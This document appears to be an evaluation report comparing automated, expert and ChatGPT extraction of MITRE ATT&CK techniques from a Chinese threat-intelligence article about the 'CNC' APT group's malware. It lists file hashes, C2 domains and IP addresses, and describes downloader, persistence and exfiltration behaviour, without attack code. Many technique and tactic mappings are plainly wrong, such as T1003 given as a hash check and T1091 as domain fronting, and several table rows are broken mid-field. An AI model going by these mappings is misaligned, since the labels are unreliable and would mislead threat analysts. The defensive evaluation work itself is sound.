(DLL) **e46cd1c4b32355cad39b41ef3b66b659** **c231254ced08ca556bf35e587469628f** **5557b32672ee9ad6be20395d447a3e52** **3feb4de4375dcc3ffb4144e2fc61dd94** **4c0dadc4b6938dcc9ca8951d34cb2a09** **d30631ba67a28a6e4ab0c4e9584e26c2** **2abc60fa1e042612e723360ccd8220c6** **3c6ad03f0ab284350d8b0d3d4cf22196** **07a3c19bc67c5f44c888ce75d4147ecf** **d7e123fe7fb8a5f56ec9d89f7787340d** **20c581284cccadd8b6193c2e1c84a900** **5e464d04b35a83d28c4e26c06eec28f5** **9946df6c429b83009535dca8d1a5d321** **ee24afbe471b5e63b06a759fa0eba0cc** **7750cac1cab5e6fd9e5cadecbc3c51f6** **0844b582c202dca08083d04d10bdf36e**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[]
(SFX) **4eaa63dd65fc699260306c743b46303b**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[]

(EXE) **a84d7a5b8831d7494ee20b939e37e56f** **3b730afd4ed953a9031a3facf111a64e** **cf646416025a84c5ef25b99dc999da9d**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[]
C2 **one.localsurfer.buzz** **orangevisitorss.buzz** **morphylogz.buzz** **crezdlack.buzz** **crushter.info** **monitoriing.buzz** **m.seasurfer.buzz** **bloggerboy.buzz** **sky.ydnmovers.buzz** **itygreyhound.buzz** **balancelogs.buzz** **mayosasa.buzz** **goldliney.buzz** **briefdeal.buzz** **repidyard.buzz** **salcomp.buzz** **grapehister.buzz** **orangeholister.buzz** **blogs.firelive.pics** **records.libutires.info**	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	1	[]
balancelogs.buzz	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[]
sky.ydnmovers.buzz	[{'taid': 'TA0011', 'tactic': '命令与控	1	[]

	制', 'tid': 'T1091', 'technique': '域名前置'}]		
mayosasa.buzz	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[]
orangeholister.buzz	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[]
records.libutires.info	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[]
forum.winidowtech.info	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[]
hxxp://one.localsurfer.buzz/jl60UwJBkaWEkCSS/MU3gLGSnHhfDHRnwhlILSB27KZaK2doaq8s9V5M2RIgpeaD8[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web 代理'}]	1	[]
hxxp://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjI2IoxUA[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '	1	[]

	数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]		
hxxp://morphylogz.buzz/lk3Elidq3fc2GGig/aFwrDmHliBWh62kZPVb4bmV0waydPv0WtgqM0QTte5iAFzF0[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[]
hxxp://crezdlack.buzz/icsJOzJVtdTcGPB3/PT0w3akYLzLtd5AGs3PVEjMKJ1aO5xtfGvWbFmc4ubgXBvJO[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[]
hxxp://crushter.info/m4k1doWVqrvvbjsc/AOg9AQ2SVeHsiL61tkS53q02NnMToZuOb8s5yUe8jEcBxAs0[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[]
hxxp://monitoriing.buzz/3fHYKahOXhkVV3Uj/dqyWpAfXBcyQkTkzoamk25hn3cbTbeuhImfJO08uTOFCkhIa[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[]
hxxp://m.seasurfer.buzz/33lhGEeiVe57s8gY/nmEVLghL0B5dMtBiZMAgelVniuP4bVFETWfsZqQ2jZ1bMJYd[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002',	1	[]

	'technique': '集成式Web代理'}]		
hxxps://mayosasa.buzz/Testoresisty/kolimekatares	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[]
hxxps://mayosasa.buzz/Testoresisty/bekolopexar	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[]
hxxps://goldliney.buzz/Lomiapekaso/texadikkomanapel	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[]
hxxps://sky.ydnmovers.buzz/Kolpt523ytcserstrew/torel	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[]
hxxps://sky.ydnmovers.buzz/Kolpt523ytcserstrew/meoko/P/sa	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[]
hxxps://itygreyhound.buzz/Kolpt523ytcserstrew/torel	[{'taid': 'TA0004', 'tactic': '	1	[]

	身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]		
hxxps://itygreyhound.buzz/Kolpt523ytcserstrew/meoko/P/sa	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[]
hxxps://balancelogs.buzz/Kolpt523ytcserstrew/torel	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[]
hxxps://balancelogs.buzz/Kolpt523ytcserstrew/meoko/P/sa	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[]
hxxps://briefdeal.buzz/Treolekomana/recopereta	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[]
hxxps://bloggerboy.buzz/zapterserty512wer/plekobakarester	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique	1	[]

	': '密码猜测攻击'}]		
hxxps://bloggerboy.buzz/zapterserty512wer/xcvderioneytr	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[]
hxxps://briefdeal.buzz/Likorecasta/mikachar	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1003.001', 'technique': '渗透继续访问利用用户名和密码'}]	1	[]
hxxps://repidyard.buzz/Romexicarto/terokanama	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1078.004', 'technique': '计划任务'}]	1	[]
hxxps://repidyard.buzz/xoexapolicreate/ertyprmekabiops	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1078.004', 'technique': '计划任务'}]	1	[]
hxxps://salcomp.buzz/Terolekaremos/romeosata	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[]
hxxps://grapehister.buzz/DoPstRgh512nexcvv.php	[{'taid': 'TA0002', 'tactic': '执行', 'tid':	1	[]

	'T1059.001', 'technique': '命令与脚本'}]		
hxxps://orangeholister.buzz/kolexretriya78ertdcxmega895200.php	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059', 'technique': '命令与控制台进程（Cmd）'}]	1	[]
hxxps://blogs.firelive.pics/pooireoairoeeae/yuytetyur3544uyraif	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[]
hxxps://blogs.firelive.pics/yureyuryquyey/dskjrhekjjkdhjrae	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[]
hxxps://records.libutires.info/loproiaoroaspdrjro/reoriaweoprdpoi	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1218.010', 'technique': '数据隐藏（应用编码算法）'}]	1	[]
hxxps://records.libutires.info/yryerewuaoirjljrq/bcalkrhwejkarje	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1218.010', 'technique': '数据隐藏（应用	1	[]

	编码算法）'}]		
hxxps://forum.winidowtech.info/jkdegqgegcqegog/hfogrcgegdhpgdgeq	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[]
hxxps://forum.winidowtech.info/jilmvldfhqohcqhog/ntbahoghbhcghqo	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[]

Test Report 10 【高级威胁追踪(APT)】疑似 CNC 组织最新攻击动态分析，AI 模型验证归因

URL: https://mp.weixin.qq.com/s/sO2rJbYbqLcYb3AvAUMeGg

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
根据目前已知情况，CNC 组织最早于 2019 年被披露，经常使用鱼叉式钓鱼邮件，针对国内军工、教育、科研机构及航空航天等行业进行攻击，窃取该类单位的高新技术研究资料或规划信息等。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}]	[]	1	[0]
在本次攻击活动中，我们观察到其使用的组件伪装为图片查看器，其详细信息如下表，通过确认该组件与曾披露过的“摆渡木马”功能相似。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
运行初始化预解密，解密出 C2 地址“https://146.59.223.210/”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
获取目标机器用户名信息。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1033', 'technique': '系统所有者或用户发现'}]	[]	1	[0]

拷贝可疑的伪造 png 后缀文件以及获取自身模块名称，并尝试连接白域名“https://www.163.com”进行网络测试以便后续的网络通信。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
并于当前执行目录读取资源数据创建 PNG 文件“私人图像.png”并打开。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.005', 'technique': 'MOTW 绕过'}]	[]	1	[0]
拼接域名“githubusercontent.com”，并获取目标伪造文件名称。	[{'taid': 'TA0042', 'tactic': '资源部署', 'tid': 'T1583.001', 'technique': '获取域名'}]	[]	1	[0]
最终向上述 C2 进行通信，下载第二阶段载荷至“%temp%\\SangSupport”，将下载载荷复制到“%appdata%\\SangSupport.exe”，并删除 temp 目录下载的第二阶段载荷“%temp%\\SangSupport”。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
创建任务计划“SangSupportApp”并伪造目标为国内企业相关文件信息以执行第二阶段载荷	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
后续通过 WTSEnumerateProcessesW 枚举系统进程信息。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1057', 'technique': '进程发现'}]	[]	1	[0]
将窃取的进程信息使用 base64 编码，通过“ http://146.59.223.210/wp-includes?”传输。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1132', 'technique': '数据编码'}]	[]	1	[0]
在关联分析中，我们发现该组织使用的另一个组件“YoudaoDictHelp.exe”，该组件通过伪装国内某用户量很大的翻译软件用以欺骗目标，该组件详细信息如下。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
解密出路径“C:\Windows\System32\drivers\etc\hosts”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
检测域名“ke.youdao.com”是否存在与本地 hosts 文件中。	[{'taid': 'TA0042', 'tactic': '资源部署', 'tid': 'T1583.001', 'technique': '获取域名'}]	[]	1	[0]
当检测到域名不存在于 hosts 文件中时，解密出硬编码的 C2 地址“https://149.154.153.155/”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140',	[]	1	[0]

	'technique': '解混淆解码文件或信息'}]			
当检测到域名存在于 hosts 文件中时，获取 temp 目录并解密名称“Rtxtemp823243”拼接出路径“%temp%\Rtxtemp823243”并检测该文件是否存在。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
使用硬编码 C2 通信时，使用随机字符串与硬编码 C2 拼接 URL 地址“https://149.154.153.155/copyright98/[15 字节随机字符串]/GetBanner”	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1132', 'technique': '数据编码'}]	[]	1	[0]
使用域名时，使用随机字符串与域名进行拼接形成 "https://ke.youdao.com/en-US=[15 字节随机字符串]/region=CN"	[{'taid': 'TA0042', 'tactic': '资源部署', 'tid': 'T1583.001', 'technique': '获取域名'}]	[]	1	[0]
通过发现的多个 C2 地址的 SSL 证书进行分析，该组织常使用伪造的 163 邮箱、qq 邮箱及国内企业邮箱等信息创建自签名证书，符合该组织一贯的基础设施创建策略。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.002', 'technique': '使用合法的数字签名'}]	[]	1	[0]
在 C2“149.154.153.155”中，该组织使用虚假的 163 邮箱（“shyngwood@163.com”,该邮箱并不存在）以及中国地区信息创建了自签名证书用于加密通信。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.002', 'technique': '使用合法的数字签名'}]	[]	1	[0]
对关联的 C2“152.89.247.104”，使用虚假的 163 邮箱创建自签名证书用于加密通信。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.002', 'technique': '使用合法的数字签名'}]	[]	1	[0]
CNC 组织常使用鱼叉、水坑及渗透的方式对目标进行打点攻击，具有一定的危险性。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1189', 'technique': '路过式下载'}]	[]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
根据目前已知情况，CNC 组织最早于 2019 年被披露，经常使用鱼叉式钓鱼邮件，针对国内军工、教育、科研机构及航空航天等行业进行攻击，窃取该类单位的高新技术研究资料或规划信息等。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}]	[]	1	[0]
在本次攻击活动中，我们观察到其使用的组件伪装为图片查看器，其详细信息如下表，通过确认该组件与曾披露过的“摆渡木马”功能相似。	[{'taid': 'TA0005', 'tactic': '防御逃逸',	[]	1	[0]

	'tid': 'T1036', 'technique': '伪装'}]			
运行初始化预解密，解密出 C2 地址“https://146.59.223.210/”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
获取目标机器用户名信息。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1033', 'technique': '系统所有者或用户发现'}]	[]	1	[0]
拷贝可疑的伪造 png 后缀文件以及获取自身模块名称，并尝试连接白域名“https://www.163.com”进行网络测试以便后续的网络通信。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
并于当前执行目录读取资源数据创建 PNG 文件“私人图像.png”并打开。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.005', 'technique': 'MOTW 绕过'}]	[]	1	[]
拼接域名“githubusercontent.com”，并获取目标伪造文件名称。	[{'taid': 'TA0042', 'tactic': '资源部署', 'tid': 'T1583.001', 'technique': '获取域名'}]	[]	1	[]
最终向上述 C2 进行通信，下载第二阶段载荷至“%temp%\\SangSupport”，将下载载荷复制到“%appdata%\\SangSupport.exe”，并删除 temp 目录下载的第二阶段载荷“%temp%\\SangSupport”。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
创建任务计划“SangSupportApp”并伪造目标为国内企业相关文件信息以执行第二阶段载荷	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
后续通过 WTSEnumerateProcessesW 枚举系统进程信息。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1057', 'technique': '进程发现'}]	[]	1	[0]
将窃取的进程信息使用 base64 编码，通过“ http://146.59.223.210/wp-includes?”传输。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1132', 'technique': '数据编码'}]	[]	1	[0]
在关联分析中，我们发现该组织使用的另一个组件“YoudaoDictHelp.exe”，该组件通过伪装国内某用户量很大的翻译软件用以欺骗目标，该组件详细信息如下。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
解密出路径“C:\Windows\System32\drivers\etc\hosts”。	[{'taid': 'TA0005', 'tactic': '防御逃逸',	[]	1	[0]

	'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]			
检测域名“ke.youdao.com”是否存在与本地 hosts 文件中。	[{'taid': 'TA0042', 'tactic': '资源部署', 'tid': 'T1583.001', 'technique': '获取域名'}]	[]	1	[]
当检测到域名不存在于 hosts 文件中时，解密出硬编码的 C2 地址“https://149.154.153.155/”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
当检测到域名存在于 hosts 文件中时，获取 temp 目录并解密名称“Rtxtemp823243”拼接出路径“%temp%\Rtxtemp823243”并检测该文件是否存在。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
使用硬编码 C2 通信时，使用随机字符串与硬编码 C2 拼接 URL 地址“https://149.154.153.155/copyright98/[15 字节随机字符串]/GetBanner”	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1132', 'technique': '数据编码'}]	[]	1	[]
使用域名时，使用随机字符串与域名进行拼接形成 "https://ke.youdao.com/en-US=[15 字节随机字符串]/region=CN"	[{'taid': 'TA0042', 'tactic': '资源部署', 'tid': 'T1583.001', 'technique': '获取域名'}]	[]	1	[]
通过发现的多个 C2 地址的 SSL 证书进行分析，该组织常使用伪造的 163 邮箱、qq 邮箱及国内企业邮箱等信息创建自签名证书，符合该组织一贯的基础设施创建策略。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.002', 'technique': '使用合法的数字签名'}]	[]	1	[0]
在 C2“149.154.153.155”中，该组织使用虚假的 163 邮箱（“shyngwood@163.com”,该邮箱并不存在）以及中国地区信息创建了自签名证书用于加密通信。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.002', 'technique': '使用合法的数字签名'}]	[]	1	[0]
对关联的 C2“152.89.247.104”，使用虚假的 163 邮箱创建自签名证书用于加密通信。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.002', 'technique': '使用合法的数字签名'}]	[]	1	[0]
CNC 组织常使用鱼叉、水坑及渗透的方式对目标进行打点攻击，具有一定的危险性。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1189', 'technique': '路过式下载'}]	[]	1	[0]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
根据目前已知情况，CNC 组织最早于 2019 年被披露，经常使用鱼叉式钓鱼邮件，针对国内军工、教育、科研机构及航空航天等行业进行攻击，窃取该类单位的高新技术研究资料或规划信息等。	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1119', 'technique': 'Automated Collection'}]	2	[0, 1]
在本次攻击活动中，我们观察到其使用的组件伪装为图片查看器，其详细信息如下表，通过确认该组件与曾披露过的“摆渡木马”功能相似	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1056', 'technique': 'Input Capture'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[0, 1]
获取目标机器用户名信息	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1087', 'technique': 'Account Discovery'}]	1	[0]
获取磁盘名称字符串，不断检测是否存在新设备接入，如果检测到新设备，将当前文件复制到新设备，并且检测是否联网，当网络通畅时将“-oneid”拼接到主机名后，当无网络连接时将“-lastid”拼接到主机名后	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1120', 'technique': 'Peripheral Device Discovery'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	2	[0, 1]
并于当前执行目录读取资源数据创建 PNG 文件“私人图像.png”并打开	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}]	1	[0]
接着判断是否存在“%appdata%\imagedrvhost.exe，当存在时跳过所有操作结束流程。当不存在时判断是否存在网络连接，当存在网络连接时开始与 C2 进行通信。”	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0003', 'tactic': 'Command	2	[0, 1]

	and Control', 'tid': 'T1102', 'technique': 'Web Service'}]		
拼接域名“[githubusercontent.com](https://github.com)”，并获取目标伪造文件名称。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[0, 1]
拼接出路径名称“%appdata%\SangSupport.exe”。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
拼接通信 C2 地址“https://146.59.223.210/solution-basic/gecko/SangSupport”。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[0]
最终向上述 C2 进行通信，下载第二阶段载荷至“%temp%\SangSupport”，将下载载荷复制到“%appdata%\SangSupport.exe”，并删除 temp 目录下载的第二阶段载荷“%temp%\SangSupport”。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	2	[0, 1]
创建任务计划“SangSupportApp”并伪造目标为国内企业相关文件信息以执行第二阶段载荷	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1053', 'technique': 'Scheduled Task/Job'}]	1	[0]
后续通过 WTSEnumerateProcessesW 枚举系统进程信息。	[{'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1057', 'technique': 'Process Discovery'}]	1	[0]
将窃取的进程信息使用 base64 编码，通过“ http://146.59.223.210/wp-includes?”传输。	[{'taid': 'TA0003', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'OS	2	[0, 1]

	Credential Dumping'}]		
在关联分析中，我们发现该组织使用的另一个组件“**YoudaoDictHelp.exe**”，该组件通过伪装国内某用户量很大的翻译软件用以欺骗目标，该组件详细信息如下。	[{'taid': 'TA0002', 'tactic': 'Deception', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
该文件与上述下载器组件存在相同的磁盘容量大小检测逻辑。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
解密出路径“**C:\Windows\System32\drivers\etc\hosts**”。	[{'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}]	1	[0]
检测域名“**ke.youdao.com**”是否存在与本地 **hosts** 文件中。	[{'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1016', 'technique': 'System Network Configuration Discovery'}]	1	[0]
当检测到域名不存在于 **hosts** 文件中时，解密出硬编码的 **C2** 地址“**https://149.154.153.155/**”。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[0]
当检测到域名存在于 **hosts** 文件中时，获取 **temp** 目录并解密名称“**Rtxtemp823243**”拼接出路径“**%temp%\Rtxtemp823243**”并检测该文件是否存在。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}]	2	[0, 1]
当不存在时生成随机字符串，并将生成的字符串写入该文件。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1001', 'technique': 'Data Obfuscation'}]	1	[0]
使用硬编码 **C2** 通信时，使用随机字符串与硬编码 **C2** 拼接 **URL** 地址“**https://149.154.153.155/copyright98/[15 字节随机字符串]/GetBanner**”	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[0]
使用域名时，使用随机字符串与域名进行拼接形成"**https://ke.youdao.com/en-US=[15 字节随机字符串]/region=CN**"	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[0]

在与上述 C2 通信的同时也会尝试从该 github 地址下载配置数据“https://raw.githubusercontent.com/kkrightjackhuiyongxx1635/controlid/main/config.json”	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}]	1	[0]
该 github 地址内容已经失效	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
由于 C2 数据已失效，后续行为无法跟踪，通过分析可判断出该组件存在命令执行、文件执行、文件列出（“ls”）、退出（“q”）等功能。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Native API'}, {'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}]	4	[0, 1, 2, 3]
通过监测到的“imagedrvhost.exe”、“YoudaoDictHelp.exe”、“YoudaoDictDesk.exe”等文件名称特征，发现这些特征均符合该组织使用国内企业文件信息伪装的一贯习惯。分析事件中出现的组件，也发现与曾披露的“摆渡木马”同功能，通信的模式及 URL 格式等符合该组织的通信特征。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
通过深瞻情报实验室累积的情报数据，深信服创新研究院混动图 AI 模型也将该样本归因到 CNC 组织。	[{'taid': 'TA0002', 'tactic': 'Attribution', 'tid': 'None', 'technique': 'None'}]	1	[0]
通过发现的多个 C2 地址的 SSL 证书进行分析，该组织常使用伪造的 163 邮箱、qq 邮箱及国内企业邮箱等信息创建自签名证书，符合该组织一贯的基础设施创建策略。	[{'taid': 'TA0002', 'tactic': 'Infrastructure', 'tid': 'T1583', 'technique': 'Acquire and/or Use Domain or Web Services'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]

在 C2“149.154.153.155”中，该组织使用虚假的 163 邮箱（“shyngwood@163.com”,该邮箱并不存在）以及中国地区信息创建了自签名证书用于加密通信。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
对关联的 C2“152.89.247.104”，使用虚假的 163 邮箱创建自签名证书用于加密通信。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
CNC 组织常使用鱼叉、水坑及渗透的方式对目标进行打点攻击，具有一定的危险性。	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
其在 2022 年至 2023 年期间较为活跃，主要针对军工、教育、科研机构及航空航天等行业进行攻击，窃取该类单位的高新技术研究资料或规划信息等，相关行业及单位需要警惕并加强网络防御。	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1039', 'technique': 'Data from Information Repositories'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}]	2	[0, 1]
